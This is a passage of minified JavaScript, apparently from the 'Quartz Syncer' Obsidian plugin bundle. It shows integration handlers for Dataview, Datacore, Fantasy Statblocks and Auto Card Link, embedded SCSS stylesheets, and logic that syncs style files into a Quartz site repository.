this.integrations.filter(n=>e[n.settingKey]&&n.isAvailable()).sort((n,r)=>n.priority-r.priority)}getAvailable(){return this.integrations.filter(e=>e.isAvailable())}getAllPatterns(e){return this.getEnabled(e).flatMap(n=>n.getPatterns())}getCollectedAssets(e){let n=new Map;for(let r of this.getEnabled(e))r.assets.scss&&n.set(r.id,r.assets);return n}getById(e){return this.integrations.find(n=>n.id===e)}},Vt=new Qd;m();var BD=require("obsidian");var Yi=it(vt()),Mw="quartz/styles/syncer",FU="_index.scss",Kd="quartz/styles/custom.scss",dl='@use "./syncer";',Eu=class{settings;constructor(e){this.settings=e}async collectAssets(e){let n={success:!1,filesToStage:new Map,filesToDelete:[]};try{if(!this.settings.manageSyncerStyles){let i=await this.collectCleanup(e);return n.filesToDelete=i.filesToDelete,i.customScssUpdate&&n.filesToStage.set(Kd,i.customScssUpdate),(n.filesToDelete.length>0||n.filesToStage.size>0)&&Yi.default.info(`Will remove ${n.filesToDelete.length} syncer style files`),n.success=!0,n}let r=this.getScssFiles();if(r.size>0){for(let[s,o]of r)n.filesToStage.set(s,o);let i=await this.getCustomScssUpdate(e);i&&(n.filesToStage.set(Kd,i),Yi.default.info("Will add syncer import to custom.scss")),Yi.default.info(`Collected ${n.filesToStage.size} integration style files`)}n.success=!0}catch(r){Yi.default.error("Failed to collect integration assets",r),new BD.Notice("Quartz Syncer: Failed to collect integration styles. Check console for details.",1e4),n.success=!1}return n}async collectCleanup(e){let n=[],r=null;try{let i=await e.getContent();if(i){let s=i.tree.filter(o=>o.path.startsWith(Mw)&&o.type==="blob");for(let o of s)n.push(o.path)}}catch(i){Yi.default.debug("Could not list syncer style files for cleanup",i)}try{let i=await e.getRawFile(Kd);if(i){let s=x.from(i.content,"base64").toString("utf-8");s.includes(dl)&&(r=this.removeSyncerImport(s))}}catch{Yi.default.debug("custom.scss not found, no cleanup needed")}return{filesToDelete:n,customScssUpdate:r}}async getCustomScssUpdate(e){try{let n="";try{let r=await e.getRawFile(Kd);r&&(n=x.from(r.content,"base64").toString("utf-8"))}catch{Yi.default.debug("custom.scss not found, will create with import")}return n.includes(dl)?null:this.insertSyncerImport(n)}catch(n){throw Yi.default.error("Failed to check custom.scss",n),n}}insertSyncerImport(e){if(!e.trim())return`${dl} -`;let n=/@use\s+["']\.\/(?:base|variables)(?:\.scss)?["'](?:\s+as\s+\*)?;?/,r=e.match(n);if(r){let i=r.index+r[0].length,s=e.slice(0,i),o=e.slice(i);return`${s} -${dl}${o}`}return`${dl} - -${e}`}removeSyncerImport(e){let n=new RegExp(`\\n?${dl.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}\\n?`,"g");return e.replace(n,` -`).replace(/^\n+/,"")}getScssFiles(){let e=new Map,n=Vt.getCollectedAssets(this.settings),r=[];for(let[i,s]of n)if(s.scss){let o=`_${i}.scss`,a=`${Mw}/${o}`;e.set(a,s.scss),r.push(`@use "./${i}";`)}if(r.length>0){let i=`// Quartz Syncer Integration Styles -// This file is auto-generated. Do not edit manually. - -${r.join(` -`)} -`;e.set(`${Mw}/${FU}`,i)}return e}};m();var Dl=require("obsidian"),b_=it(w0()),v0=it(vt());function b0(){return(0,b_.getAPI)()}function y_(t,e,n){let r="";try{r=n.tryEvaluate(t.trim(),{this:n.page(e)??{}})?.toString()??""}catch(i){v0.default.warn("dvapi.tryEvaluate did not yield any result",i)}return r}async function w_(t,e,n){let r=activeDocument.createElement("div"),i=new Dl.Component;i.load(),await n.executeJs(t,r,i,e),await Ki(r,"[data-tag-name]");let s=(0,Dl.htmlToMarkdown)(r)||"";return Ny(s)}var v_={id:"dataview",name:"Dataview",settingKey:"useDataview",priority:100,category:"community",assets:{},isAvailable(){return!!b0()},getPatterns(){let t=b0(),e=[{id:"dv-block",pattern:/```dataview\s(.+?)```/gms,type:"block"}];if(t){let n=t.settings.dataviewJsKeyword||"dataviewjs",r=t.settings.inlineQueryPrefix||"=",i=t.settings.inlineJsQueryPrefix||"$=";e.push({id:"dv-js-block",pattern:new RegExp("```"+jr(n)+"\\s(.+?)```","gms"),type:"block"},{id:"dv-inline",pattern:new RegExp("`"+jr(r)+"(.+?)`","gms"),type:"inline"},{id:"dv-inline-js",pattern:new RegExp("`"+jr(i)+"(.+?)`","gms"),type:"inline"})}return e},async compile(t,e){let n=b0();if(!n)return t.fullMatch;let r=e.file.getPath(),i=t.captures[0],{isInsideCalloutDepth:s,finalQuery:o}=yd(i);try{let a="";switch(t.descriptor.id){case"dv-block":{let l=await n.tryQueryMarkdown(o,r);return s>0&&(l=gd(l,s)),l}case"dv-js-block":return await w_(o,r,n)??"";case"dv-inline":return a=y_(i.trim(),r,n),a?.toString()??"";case"dv-inline-js":return a=y_(i,r,n),a||(a=await w_(i,r,n)),a??"Unable to render query";default:return t.fullMatch}}catch(a){return v0.default.error(a),new Dl.Notice("Quartz Syncer: Unable to render dataview query. Please update the dataview plugin to the latest version."),t.fullMatch}}};m();var Qr=require("obsidian"),El=it(vt());m();var k_="auto-card-link",x_="obsidian-excalidraw-plugin",S_="datacore";var D_="obsidian-5e-statblocks";var O4=` -/* Card styles */ -.datacore-card { - display: flex; - flex-direction: column; - padding: 1.2rem; - border-radius: 0.5em; - background-color: var(--background-secondary); - min-width: 89%; - border: 2px solid var(--table-border-color); - overflow-y: scroll; - transition: all 0.3s cubic-bezier(0.65, 0.05, 0.36, 1); -} - -.datacore-card-title { - margin-bottom: 0.6em; - display: flex; - justify-content: space-between; - font-size: 1.8em; -} - -.datacore-card-title.centered { - justify-content: center !important; -} - -.datacore-card-content, -.datacore-card-inner { - transition: all 0.3s cubic-bezier(0.65, 0.05, 0.36, 1); -} - -.datacore-card-inner { - overflow-y: scroll; - overflow-x: hidden; - max-height: 500px; - display: flex; -} - -.datacore-card .datacore-card-collapser, -.datacore-card.is-collapsed .datacore-card-collapser { - transition: all 0.5s cubic-bezier(0.65, 0.05, 0.36, 1); -} - -.datacore-card-content { - flex-grow: 1; -} - -.datacore-card:not(.datacore-card.is-collapsed) .datacore-card-collapser { - transform: rotate(180deg); -} - -.datacore-card.is-collapsed .datacore-card-collapser { - transform: rotate(0deg) !important; -} - -.datacore-card-collapse, -.datacore-card-collapser svg { - min-width: 1em; - min-height: 1em; - fill: currentColor; - vertical-align: middle; -} - -.datacore-card .datacore-card-footer { - font-size: 0.7em; - text-align: right; - padding: 0; -} - -/* Table styles */ -.datacore-table { - width: 100%; -} - -.datacore-table > thead > tr, -.datacore-table > tbody > tr { - margin-top: 1em; - margin-bottom: 1em; - text-align: left; -} - -.datacore-table > tbody > tr:hover { - background-color: var(--text-selection) !important; -} - -.datacore-table > thead > tr > th { - font-weight: 700; - font-size: larger; - border-top: none; - border-left: none; - border-right: none; - border-bottom: solid; - max-width: 100%; -} - -.datacore-table > tbody > tr > td { - text-align: left; - border: none; - font-weight: 400; - max-width: 100%; -} - -.datacore-table ul, -.datacore-table ol { - margin-block-start: 0.2em !important; - margin-block-end: 0.2em !important; -} - -.datacore-table-header-cell-content { - width: auto; - display: inline-flex; - flex-direction: row; -} - -.datacore-table-sort { - flex-grow: 0; - margin-right: 0.25em; - align-items: center; -} - -.datacore-table-header-title { - align-items: center; - flex-grow: 1; -} - -/* Layout styles */ -.dc-stack { - display: flex; - flex-direction: column; - margin: 4px; -} - -.dc-group { - display: flex; - flex-direction: row; - margin: 4px; -} - -/* Basic UI elements */ -.dc-button { - padding: 4px; - margin-left: 4px; - margin-right: 4px; - margin-top: 2px; - margin-bottom: 2px; -} - -.dc-intent-error { - background-color: var(--color-red) !important; -} - -.dc-intent-warn { - background-color: var(--color-orange) !important; -} - -.dc-intent-info { - background-color: var(--color-blue) !important; -} - -.dc-intent-success { - background-color: var(--color-green) !important; -} - -.dc-textbox { - padding: 4px; - margin-left: 4px; - margin-right: 4px; - margin-top: 2px; - margin-bottom: 2px; -} - -.dc-checkbox { - display: inline-flex; - align-items: center; - cursor: pointer; - margin: 4px 0; - font-size: 16px; -} - -.dc-checkbox input[type="checkbox"] { - width: 16px; - height: 16px; - cursor: pointer; -} - -.dc-checkbox:hover { - opacity: 0.8; -} - -.dc-checkbox input[type="checkbox"]:focus { - outline: none; - box-shadow: var(--shadow-s); -} - -.dc-checkbox-disabled { - cursor: not-allowed; - opacity: 0.6; -} - -.dc-checkbox-disabled input[type="checkbox"] { - cursor: not-allowed; -} - -.dc-slider { - -webkit-appearance: none; - appearance: none; - transition: background 0.3s; -} - -.dc-switch.dc-switch-disabled { - cursor: not-allowed; - opacity: 0.6; -} - -.dc-icon { - display: inline-flex; - align-items: center; -} - -/* Paging controls */ -.dc-paging-control { - width: 100%; - display: flex; - justify-content: center; - align-items: center; - margin-top: 10px; - margin-bottom: 10px; - gap: 10px; -} - -button.dc-paging-control-page { - width: var(--input-height); - height: var(--input-height); - padding: 0; - cursor: pointer; - background-color: unset; - box-shadow: none; -} - -button.dc-paging-control-page:hover { - background-color: var(--text-selection); -} - -button.dc-paging-control-page-active { - background-color: var(--text-selection); -} - -button.dc-paging-control-page[disabled] { - cursor: inherit; - opacity: 0.5; -} - -button.dc-paging-control-page[disabled]:hover { - background-color: unset; - box-shadow: none; -} - -.dc-paging-control-separator:hover > .dc-paging-control-ellipsis { - display: none; -} - -.dc-paging-control-separator > .dc-paging-control-leap-left, -.dc-paging-control-separator > .dc-paging-control-leap-right { - display: none; -} - -.dc-paging-control-separator:hover > .dc-paging-control-leap-left, -.dc-paging-control-separator:hover > .dc-paging-control-leap-right { - display: flex; -} - -.dc-paging-control-separator > .dc-paging-control-leap-left { - transform: rotate(180deg); -} - -/* Callout styles */ -.datacore .callout-content, -.datacore.callout { - transition: all 100ms cubic-bezier(0.02, 0.01, 0.47, 1); - margin-top: 10px; - margin-bottom: 10px; -} - -.datacore .callout-fold { - align-self: center; -} - -/* Embed styles */ -.datacore-span-embed { - position: relative; - padding: 1px 8px 1px 8px; - margin: 4px 0px 4px 0px; - background-color: var(--color-base-25); -} - -.datacore-embed-source { - position: absolute; - top: 4px; - right: 4px; - padding-left: 4px; - padding-right: 4px; - background-color: var(--background-secondary-alt); - color: var(--text-faint); - font-size: var(--font-smallest); -} - -/* Error and loading styles */ -.datacore-error-retry { - margin-top: 1em; - text-align: center; -} - -.datacore-error-box { - width: 100%; - min-height: 150px; - display: flex; - flex-direction: column; - align-items: center; - justify-content: center; - border: 4px dashed var(--background-secondary); -} - -.datacore-error-title { - text-align: center; -} - -.datacore-error-message { - color: var(--text-muted); - text-align: center; -} - -.datacore-loading-boundary { - width: 100%; - min-height: 150px; - display: flex; - flex-direction: column; - align-items: center; - justify-content: center; - border: 4px dashed var(--background-secondary); -} - -.datacore-loading-title { - text-align: center; -} - -.datacore-loading-content { - color: var(--text-muted); - text-align: center; -} - -/* Language block styles */ -.block-language-datacore li.selected, -.block-language-datacorejs li.selected { - background: var(--text-accent); - padding: 0.2em; - border-radius: 50%; - width: 2em; - height: 2em; -} - -.block-language-datacore li.selected a, -.block-language-datacorejs li.selected a { - color: var(--text-on-accent-inverted); - display: block; - text-align: center; - font-weight: bold; -} - -.block-language-datacore .datacore-pager, -.block-language-datacorejs .datacore-pager { - display: flex; - justify-content: space-between; - list-style: none; - min-width: 90%; - margin-right: 1.7em; -} - -.block-language-datacore li.previous, -.block-language-datacore li.next, -.block-language-datacorejs li.previous, -.block-language-datacorejs li.next { - min-height: 1.4em; - min-width: 1.4em; -} - -.block-language-datacore li.previous svg, -.block-language-datacore li.next svg, -.block-language-datacorejs li.previous svg, -.block-language-datacorejs li.next svg { - color: currentColor; - fill: currentColor !important; -} -`;function E_(){if(Ds(S_))return window.datacore}async function P4(t,e,n){let r=activeDocument.createElement("div"),i=new Qr.Component;try{n.executeJs(t,r,i,e)}catch(s){return El.default.error(s),new Qr.Notice(`Quartz Syncer: DatacoreJS execution error: ${String(s)}, trying JSX...`),__(t,e,n)}return i.load(),await Ki(r,'[class*=datacore], [__self="[Object object]"], [__source="[Object object]"]'),r}async function __(t,e,n){let r=activeDocument.createElement("div"),i=new Qr.Component;try{n.executeJsx(t,r,i,e)}catch(s){return El.default.error(s),new Qr.Notice(`Quartz Syncer: DatacoreJSX execution error: ${String(s)}`),r}return i.load(),await Ki(r,'[class*=datacore], [__self="[Object object]"], [__source="[Object object]"]'),r}async function N4(t,e,n){let r=activeDocument.createElement("div"),i=new Qr.Component;try{n.executeTs(t,r,i,e)}catch(s){return El.default.error(s),new Qr.Notice(`Quartz Syncer: DatacoreTS execution error: ${String(s)}, trying TSX...`),C_(t,e,n)}return i.load(),await Ki(r,'[class*=datacore], [__self="[Object object]"], [__source="[Object object]"]'),r}async function C_(t,e,n){let r=activeDocument.createElement("div"),i=new Qr.Component;try{n.executeTsx(t,r,i,e)}catch(s){return El.default.error(s),new Qr.Notice(`Quartz Syncer: DatacoreTSX execution error: ${String(s)}`),r}return i.load(),await Ki(r,'[class*=datacore], [__self="[Object object]"], [__source="[Object object]"]'),r}var T_={id:"datacore",name:"Datacore",settingKey:"useDatacore",priority:100,category:"community",assets:{scss:O4},isAvailable(){return!!E_()},getPatterns(){return[{id:"dc-js",pattern:/```datacorejs\s(.+?)```/gms,type:"block"},{id:"dc-jsx",pattern:/```datacorejsx\s(.+?)```/gms,type:"block"},{id:"dc-ts",pattern:/```datacorets\s(.+?)```/gms,type:"block"},{id:"dc-tsx",pattern:/```datacoretsx\s(.+?)```/gms,type:"block"}]},async compile(t,e){let n=E_();if(!n)return t.fullMatch;let r=e.file.getPath(),i=t.captures[0],{isInsideCalloutDepth:s,finalQuery:o}=yd(i),a=new XMLSerializer;try{let l;switch(t.descriptor.id){case"dc-js":l=await P4(o,r,n);break;case"dc-jsx":l=await __(o,r,n);break;case"dc-ts":l=await N4(o,r,n);break;case"dc-tsx":l=await C_(o,r,n);break;default:return t.fullMatch}let c=du(l,a);return s>0?gd(c,s):c}catch(l){return El.default.error(l),new Qr.Notice(`Quartz Syncer: Datacore query error: ${String(l)}`),t.fullMatch}}};m();var F_={id:"excalidraw",name:"Excalidraw",settingKey:"useExcalidraw",priority:50,category:"community",assets:{},isAvailable(){return Ds(x_)},getPatterns(){return[]},async compile(t){return t.fullMatch}};m();var wm=require("obsidian"),k0=it(vt());var M4=` -// Quartz fixes -.statblock { - .statblock-item-container div { - display: inline; - &.tapered-rule, - span.statblock-table-header { - display: block; - } - &.statblock-table { - display: flex; - } - &.traits { - font-family: var(--active-traits-font); - color: var(--active-traits-font-color); - font-size: var(--active-traits-font-size); - font-weight: var(--active-traits-font-weight); - font-style: var(--active-traits-font-style); - } - } - p { - color: inherit; - display: inline; - font: inherit; - } -} -// Quartz fixes end - -:root { - --statblock-primary-color: #7a200d; - --statblock-rule-color: #922610; - --statblock-background-color: #fdf1dc; - - --statblock-bar-color: #e69a28; - --statblock-bar-border-size: 1px; - --statblock-bar-border-color: #000; - - --statblock-image-width: 75px; - --statblock-image-height: 75px; - --statblock-image-border-size: 2px; - --statblock-image-border-color: var(--statblock-primary-color); - - --statblock-border-size: 1px; - --statblock-border-color: #ddd; - - --statblock-box-shadow-color: #ddd; - --statblock-box-shadow-x-offset: 0; - --statblock-box-shadow-y-offset: 0; - --statblock-box-shadow-blur: 1.5em; - - --statblock-font-color: var(--statblock-primary-color); - --statblock-font-weight: 700; - - --statblock-content-font: "Noto Sans", "Myriad Pro", Calibri, Helvetica, Arial, sans-serif; - --statblock-content-font-size: 14px; - - --statblock-heading-font: "Libre Baskerville", "Lora", "Calisto MT", "Bookman Old Style", Bookman, "Goudy Old Style", Garamond, "Hoefler Text", "Bitstream Charter", Georgia, serif; - --statblock-heading-font-color: var(--statblock-font-color); - --statblock-heading-font-size: 23px; - --statblock-heading-font-variant: small-caps; - --statblock-heading-font-weight: var(--statblock-font-weight); - --statblock-heading-line-height: inherit; - - --statblock-property-line-height: 1.4; - --statblock-property-font-color: var(--statblock-font-color); - --statblock-property-name-font-color: var(--statblock-font-color); - --statblock-property-name-font-weight: bold; - - --statblock-section-heading-border-size: 1px; - --statblock-section-heading-border-color: var(--statblock-primary-color); - --statblock-section-heading-font-color: var(--statblock-font-color); - --statblock-section-heading-font-size: 21px; - --statblock-section-heading-font-variant: small-caps; - --statblock-section-heading-font-weight: normal; - - --statblock-saves-line-height: 1.4; - - --statblock-spells-font-style: italic; - - --statblock-subheading-font-size: 12px; - --statblock-subheading-font-style: italic; - --statblock-subheading-font-weight: normal; - - --statblock-table-header-font-weight: bold; - - --statblock-traits-name-font-weight: bold; - --statblock-traits-name-font-style: italic; - - --statblock-link-style: italic; -} - -.statblock-item-container { - margin-bottom: 0.25rem; -} - -.statblock-item-inline { - display: flex; - justify-content: space-between; -} - -.statblock { - --active-primary-color: var(--statblock-primary-color); - --active-rule-color: var(--statblock-rule-color); - --active-background-color: var(--statblock-background-color); - - --active-bar-color: var(--statblock-bar-color); - --active-bar-border-size: var(--statblock-bar-border-size); - --active-bar-border-color: var(--statblock-bar-border-color); - - --active-image-width: var(--statblock-image-width); - --active-image-height: var(--statblock-image-height); - --active-image-border-size: var(--statblock-image-border-size); - --active-image-border-color: var(--statblock-image-border-color, var(--active-primary-color)); - - --active-border-size: var(--statblock-border-size); - --active-border-color: var(--statblock-border-color); - - --active-box-shadow-color: var(--statblock-box-shadow-color); - --active-box-shadow-x-offset: var(--statblock-box-shadow-x-offset); - --active-box-shadow-y-offset: var(--statblock-box-shadow-y-offset); - --active-box-shadow-blur: var(--statblock-box-shadow-blur); - - --active-font-color: var(--statblock-font-color, var(--active-primary-color)); - --active-font-weight: var(--statblock-font-weight); - - --active-content-font: var(--statblock-content-font); - --active-content-font-size: var(--statblock-content-font-size); - - --active-heading-font: var(--statblock-heading-font); - --active-heading-font-color: var(--statblock-heading-font-color); - --active-heading-font-size: var(--statblock-heading-font-size); - --active-heading-font-variant: var(--statblock-heading-font-variant); - --active-heading-font-weight: var(--statblock-heading-font-weight); - --active-heading-line-height: var(--statblock-heading-line-height); - - --active-property-line-height: var(--statblock-property-line-height); - --active-property-font: var(--statblock-property-font); - --active-property-font-color: var(--statblock-property-font-color); - --active-property-font-variant: var(--statblock-property-font-variant); - --active-property-font-size: var(--statblock-property-font-size); - --active-property-font-weight: var(--statblock-property-font-weight); - - --active-property-name-font: var(--statblock-property-name-font); - --active-property-name-font-color: var(--statblock-property-name-font-color); - --active-property-name-font-variant: var(--statblock-property-name-font-variant); - --active-property-name-font-size: var(--statblock-property-name-font-size); - --active-property-name-font-weight: var(--statblock-property-name-font-weight); - - --active-section-heading-border-size: var(--statblock-section-heading-border-size); - --active-section-heading-border-color: var(--statblock-section-heading-border-color); - --active-section-heading-font: var(--statblock-section-heading-font); - --active-section-heading-font-color: var(--statblock-section-heading-font-color); - --active-section-heading-font-size: var(--statblock-section-heading-font-size); - --active-section-heading-font-variant: var(--statblock-section-heading-font-variant); - --active-section-heading-font-weight: var(--statblock-section-heading-font-weight); - - --active-saves-line-height: var(--statblock-saves-line-height); - - --active-spells-font-style: var(--statblock-spells-font-style); - - --active-subheading-font: var(--statblock-subheading-font); - --active-subheading-font-color: var(--statblock-subheading-font-color); - --active-subheading-font-size: var(--statblock-subheading-font-size); - --active-subheading-font-style: var(--statblock-subheading-font-style); - --active-subheading-font-weight: var(--statblock-subheading-font-weight); - - --active-table-header-font-weight: var(--statblock-table-header-font-weight); - - --active-traits-font: var(--statblock-traits-font); - --active-traits-font-color: var(--statblock-traits-font-color); - --active-traits-font-size: var(--statblock-traits-font-size); - --active-traits-font-weight: var(--statblock-traits-font-weight); - --active-traits-font-style: var(--statblock-traits-font-style); - --active-traits-name-font: var(--statblock-traits-name-font); - --active-traits-name-font-color: var(--statblock-traits-name-font-color); - --active-traits-name-font-size: var(--statblock-traits-name-font-size); - --active-traits-name-font-weight: var(--statblock-traits-name-font-weight); - --active-traits-name-font-style: var(--statblock-traits-name-font-style); - - --active-link-style: var(--statblock-link-style); - - margin: 0 auto; - position: relative; - - a { - font-style: var(--statblock-link-style); - } -} - -.statblock-content-container { - .statblock-content { - font-family: var(--active-content-font); - font-size: var(--active-content-font-size); - color: var(--active-font-color); - background-color: var(--active-background-color); - padding: 0.5em; - border: var(--active-border-size) var(--active-border-color) solid; - box-shadow: var(--active-box-shadow-x-offset) - var(--active-box-shadow-y-offset) var(--active-box-shadow-blur) - var(--active-box-shadow-color); - margin-left: 2px; - margin-right: 2px; - display: flex; - gap: 1rem; - - > .column { - width: var(--statblock-column-width, 400px); - } - - @media screen and (max-width: 400px) { - > .column { - width: 75vw; - } - } - } -} - -.bar { - height: 5px; - background: var(--active-bar-color); - border: var(--active-bar-border-size) solid var(--active-bar-border-color); - z-index: 1; - width: auto; -} - -.heading, -.statblock-heading { - font-family: var(--active-heading-font); - color: var(--active-heading-font-color); - font-weight: var(--active-heading-font-weight); - font-variant: var(--active-heading-font-variant); - font-size: var(--active-heading-font-size); - line-height: var(--active-heading-line-height); - margin: 0px; - letter-spacing: 1px; - display: flex; - justify-content: space-between; - align-items: center; -} - -.flex-container { - display: flex; - justify-content: space-between; - align-items: center; -} - -.subheading { - font-weight: var(--active-subheading-font-weight); - font-style: var(--active-subheading-font-style); - font-size: var(--active-subheading-font-size); - font-family: var(--active-subheading-font-family); - color: var(--active-subheading-font-color); - margin: 0; -} - -.line { - line-height: var(--active-property-line-height); - display: block; - font-family: var(--active-property-font); - color: var(--active-property-font-color); - font-variant: var(--active-property-font-variant); - font-size: var(--active-property-font-size); - font-weight: var(--active-property-font-weight); -} - -.property-name { - margin: 0; - margin-right: 0.25em; - display: inline; - font-family: var(--active-property-name-font); - color: var(--active-property-name-font-color); - font-variant: var(--active-property-name-font-variant); - font-size: var(--active-property-name-font-size); - font-weight: var(--active-property-name-font-weight); -} - -.section-header { - border-bottom: var(--active-section-heading-border-size) solid var(--active-section-heading-border-color); - color: var(--active-section-heading-font-color); - font-size: var(--active-section-heading-font-size); - font-variant: var(--active-section-heading-font-variant); - font-weight: var(--active-section-heading-font-weight); - font-family: var(--active-section-heading-font); - letter-spacing: 1px; - margin: 0; - margin-bottom: 0.3em; - break-inside: avoid-column; - break-after: avoid-column; -} - -.tapered-rule { - width: auto; - margin: 0.5em 0; - height: 5px; - background: linear-gradient( - 90deg, - var(--active-rule-color) 0%, - var(--active-rule-color) 50%, - var(--active-background-color) 95%, - var(--active-background-color) 100% - ); - clip-path: polygon(0 0, 0 100%, 95% 50%); -} - -.trait { - font-family: var(--active-traits-font); - color: var(--active-traits-font-color); - font-size: var(--active-traits-font-size); - font-weight: var(--active-traits-font-weight); - font-style: var(--active-traits-font-style); -} - -.trait-name { - font-family: var(--active-traits-name-font); - color: var(--active-traits-name-font-color); - font-size: var(--active-traits-name-font-size); - font-weight: var(--active-traits-name-font-weight); - font-style: var(--active-traits-name-font-style); -} - -.statblock-nested-traits { - margin-left: 1rem; -} - -.statblock-table { - display: flex; - justify-content: space-evenly; - align-items: center; - flex-wrap: wrap; -} - -.table-item { - display: flex; - justify-content: center; - align-items: center; - flex-flow: column nowrap; -} - -.statblock-table-header { - font-weight: var(--active-table-header-font-weight); -} - -.calculated-modifier::before { - content: "("; -} - -.calculated-modifier::after { - content: ")"; -} - -.info { - .line { - line-height: var(--active-saves-line-height); - display: block; - color: var(--active-font-color); - - .property-name { - color: var(--active-property-name-font-color); - margin: 0; - margin-right: 0.25em; - display: inline; - font-weight: bold; - } - - .property-text { - display: inline; - margin: 0; - } - } -} - -.save-entry, -.save-name, -.save-value { - display: inline; -} - -.save-entry:not(:last-child) .save-value::after { - content: ", "; -} - -.image { - width: var(--active-image-width); - height: var(--active-image-height); - - &.pointer { - cursor: pointer; - } - - img { - object-fit: cover; - width: 100%; - height: 100%; - border-radius: 100%; - border: var(--active-image-border-size) solid var(--active-image-border-color); - object-position: center; - } -} -`;function I_(){if(Ds(D_))return window.FantasyStatblocks}async function R4(t,e,n){let r=activeDocument.createElement("div"),i=new wm.Component;i.load();try{n.renderMarkdown(t,r,e,i)}catch(s){return k0.default.error(s),new wm.Notice(`Quartz Syncer: Fantasy Statblocks execution error: ${String(s)}.`),r}return await Ki(r,".statblock",5e3),r}var A_={id:"fantasy-statblocks",name:"Fantasy Statblocks",settingKey:"useFantasyStatblocks",priority:100,category:"community",assets:{scss:M4},isAvailable(){return!!I_()},getPatterns(){return[{id:"statblock",pattern:/(```statblock\s.+?```)/gms,type:"block"}]},async compile(t,e){let n=I_();if(!n)return t.fullMatch;let r=t.fullMatch.trim();if(!r)return t.fullMatch;try{let i=await R4(r,e.file.getPath(),n);return[".clickable-icon.extra-setting-button",".statblock-inline-item.action-container"].forEach(c=>{i.querySelectorAll(c).forEach(u=>u.remove())}),i.querySelectorAll("span.calculated-modifier").forEach(c=>{c.textContent&&(c.textContent=`(${c.textContent})`)}),new XMLSerializer().serializeToString(i).replace(' xmlns="http://www.w3.org/1999/xhtml"',"")}catch(i){return k0.default.error(i),t.fullMatch}}};m();var _l=require("obsidian"),zu=it(vt());var z4=` -.auto-card-link-container { - background-color: transparent; - container-type: inline-size; - position: relative; - overflow: hidden; - user-select: none; - --auto-card-link-button-width: calc(var(--icon-size, 18px) + var(--size-2-3, 6px)); - --auto-card-link-indent-size: 2.5em; - - @for $i from 1 through 7 { - &[data-auto-card-link-depth="#{$i}"] { - margin-left: calc(var(--auto-card-link-indent-size) * #{$i}); - } - } -} - -.auto-card-link-title { - white-space: normal !important; - --lh: 1.5em; - line-height: var(--lh); - height: calc(var(--lh) * 3); - overflow: hidden; - text-overflow: ellipsis; -} - -.auto-card-link-card { - display: flex; - flex-direction: row-reverse; - height: 8em; - transition: 20ms ease-in; - cursor: pointer; - text-decoration: none; - color: var(--link-external-color, var(--highlight)); - background: var(--background-primary-alt, var(--darkgray)); - border: solid var(--border-width) var(--divider-color, var(--lightgray)); - border-radius: var(--radius-s, 4px); - - &:hover { - color: var(--link-external-color-hover, var(--tertiary)); - } -} - -.auto-card-link-main { - display: flex; - flex-grow: 1; - flex-direction: column; - justify-content: space-between; - gap: 0.18em; - padding: 0.5em 0.6em; - overflow: hidden; - text-align: left; -} - -.auto-card-link-description { - overflow: hidden; - --lh: 1.4em; - line-height: var(--lh); - height: calc(var(--lh) * 3); - color: var(--text-muted, var(--darkgray)); - font-size: var(--font-smallest, 0.9em); -} - -.auto-card-link-host { - font-size: var(--font-smallest, 0.9em); - display: flex; - flex-direction: row; - align-items: center; - text-overflow: ellipsis; - white-space: nowrap; -} - -.auto-card-link-thumbnail { - margin: 0; - width: unset !important; - max-height: 100%; - object-fit: cover; -} - -.auto-card-link-error-container { - color: var(--text-error); - padding: 0.5em; - border: 1px solid var(--text-error); - border-radius: var(--radius-s, 4px); -} -`,bm=class extends Error{},vm=class extends Error{},L4=/^(https?:\/\/(?:www\.|(?!www))[a-zA-Z0-9][a-zA-Z0-9-]+[a-zA-Z0-9]\.[^\s]{2,}|www\.[a-zA-Z0-9][a-zA-Z0-9-]+[a-zA-Z0-9]\.[^\s]{2,}|https?:\/\/(?:www\.|(?!www))[a-zA-Z0-9]+\.[^\s]{2,}|www\.[a-zA-Z0-9]+\.[^\s]{2,})$/i;function B4(t){return new RegExp(L4).test(t)}function $4(t){let e,n=-1;t=t.split(/\r?\n|\r|\n/g).map(r=>r.replace(/^\t+/g,i=>{let s=i.length;return n<0&&(n=s)," ".repeat(s)})).join(` -`);try{e=(0,_l.parseYaml)(t)}catch(r){throw zu.default.error(r),new bm("failed to parse yaml. Check debug console for more detail.")}if(!e||!e.url||!e.title)throw new vm("required params[url, title] are not found.");return{url:e.url,title:e.title,description:e.description,host:e.host,favicon:e.favicon,image:e.image,indent:n}}function x0(t){let e=activeDocument.createElement("div");e.addClass("auto-card-link-error-container");let n=activeDocument.createElement("span");return n.textContent=`cardlink error: ${t}`,e.appendChild(n),e}function U4(t,e){let n=activeDocument.createElement("div");n.addClass("auto-card-link-container"),n.setAttr("data-auto-card-link-depth",t.indent);let r=activeDocument.createElement("a");r.addClass("auto-card-link-card"),r.setAttr("href",t.url),n.appendChild(r);let i=activeDocument.createElement("div");i.addClass("auto-card-link-main"),r.appendChild(i);let s=activeDocument.createElement("div");if(s.addClass("auto-card-link-title"),s.textContent=t.title,i.appendChild(s),t.description){let a=activeDocument.createElement("div");a.addClass("auto-card-link-description"),a.textContent=t.description,i.appendChild(a)}let o=activeDocument.createElement("div");if(o.addClass("auto-card-link-host"),i.appendChild(o),t.host){let a=activeDocument.createElement("span");a.textContent=t.host,o.appendChild(a)}if(t.image){let a=t.image;if(!B4(a)){let c=a.slice(2,-2),u=e.metadataCache.getFirstLinkpathDest((0,_l.getLinkpath)(c),"")?.path;u&&(a=e.vault.adapter.getResourcePath(u))}let l=activeDocument.createElement("img");l.addClass("auto-card-link-thumbnail"),l.setAttr("src",a),l.setAttr("draggable","false"),r.appendChild(l)}return n}var O_={id:"auto-card-link",name:"Auto Card Link",settingKey:"useAutoCardLink",priority:100,category:"community",assets:{scss:z4},isAvailable(){return Ds(k_)},getPatterns(){return[{id:"cardlink",pattern:/```cardlink\s(.+?)```/gms,type:"block"}]},async compile(t,e){let n=t.captures[0];if(!n)return t.fullMatch;let r=new XMLSerializer;try{let i=activeDocument.createElement("div");try{let s=$4(n);i.appendChild(U4(s,e.app))}catch(s){return s instanceof vm||s instanceof bm?i.appendChild(x0(s.message)):s instanceof TypeError?(i.appendChild(x0("internal links must be surrounded by quotes.")),zu.default.error(s)):zu.default.error("Code Block: cardlink unknown error",s),du(i,r)}return du(i,r)}catch(i){return zu.default.error(i),new _l.Notice(`Quartz Syncer: Auto Card Link error: ${String(i)}`),t.fullMatch}}};m();function j4(){let t=app?.internalPlugins;return t?t.getPluginById("bases")?.enabled??!1:!1}var 